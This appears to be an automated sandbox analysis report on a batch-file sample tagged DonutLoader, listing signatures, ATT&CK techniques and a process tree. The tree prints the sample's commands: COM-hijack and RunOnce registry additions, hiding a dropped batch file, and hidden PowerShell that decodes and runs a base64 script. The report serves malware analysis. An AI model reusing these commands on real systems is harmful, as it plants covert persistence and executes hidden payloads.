Analysis
- max time kernel
298s - max time network
302s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
15/04/2026, 06:35
General
- Target 641075200.bat
- Size 1.1MB
- Sample260415-hchnfags5j
- SHA256 f6bf67e7a9d1a19dc1a1796686e786260ff619aca048624ae62628cbd5dc9985
Malware Config
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Detects DonutLoader 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Adds Run key to start application 2 TTPs 1 IoCs
- Modifies registry class 6 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\641075200.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\641075200.bat"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DEFINITION.bat"4⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{DE1E3AA2-C834-6D46-FA3F-B663F71584BB}" /ve /t REG_SZ /d "System Shell Extension" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{DE1E3AA2-C834-6D46-FA3F-B663F71584BB}\InProcServer32" /ve /t REG_SZ /d "rundll32.exe" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Classes\CLSID\{DE1E3AA2-C834-6D46-FA3F-B663F71584BB}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "SELECTION" /t REG_SZ /d "cmd.exe /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\DEFINITION.bat"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -c "$d=Get-Content 'C:\Users\Admin\AppData\Local\Temp\GENTLEMAN.tmp' -Raw;$d=$d-replace'`r',''-replace'`n','';[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))|Out-File 'C:\Users\Admin\AppData\Local\Temp\Campus.ps1' -Encoding UTF8"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -f "C:\Users\Admin\AppData\Local\Temp\Campus.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1kapb2u5\1kapb2u5.cmdline"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5DAB.tmp" "c:\Users\Admin\AppData\Local\Temp\1kapb2u5\CSCC294EEE954AC499CB9EBF1AA46434A7.TMP"6⤵
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
1kapb2u5.dll
Campus.ps1
GENTLEMAN.tmp
GENTLEMAN.tmp
RES5DAB.tmp
__PSScriptPolicyTest_zqiwgmeu.xrl.ps1
DEFINITION.bat
1kapb2u5.0.cs
1kapb2u5.cmdline
CSCC294EEE954AC499CB9EBF1AA46434A7.TMP
memory/1800-302-0x0000022854AF0000-0x0000022854B02000-memory.dmp
memory/1800-300-0x00000228549E0000-0x00000228549EC000-memory.dmp
memory/1800-295-0x000002286CDE0000-0x000002286CDF0000-memory.dmp
memory/1800-288-0x000002286CE60000-0x000002286CE82000-memory.dmp
memory/1800-286-0x000002286CDE0000-0x000002286CDF0000-memory.dmp
memory/1800-301-0x0000022854A00000-0x0000022854AAF000-memory.dmp
memory/1800-287-0x000002286CDE0000-0x000002286CDF0000-memory.dmp
memory/2152-321-0x00000215142F0000-0x00000215142FC000-memory.dmp
memory/3136-331-0x00000000045E0000-0x0000000004684000-memory.dmp
memory/3136-341-0x0000000007440000-0x0000000007508000-memory.dmp
memory/3136-333-0x0000000006AF0000-0x0000000006B92000-memory.dmp
memory/4196-324-0x000001DE06120000-0x000001DE0612C000-memory.dmp
memory/4252-328-0x00000293A0980000-0x00000293A0A2F000-memory.dmp
memory/4252-329-0x00000293B8CC0000-0x00000293B8CD2000-memory.dmp
memory/4252-327-0x00000293A05C0000-0x00000293A05CC000-memory.dmp
memory/4252-339-0x00000293A0980000-0x00000293A0A2F000-memory.dmp
memory/4252-338-0x00000293A05C0000-0x00000293A05CC000-memory.dmp
memory/4252-326-0x00000293B8D70000-0x00000293B8D78000-memory.dmp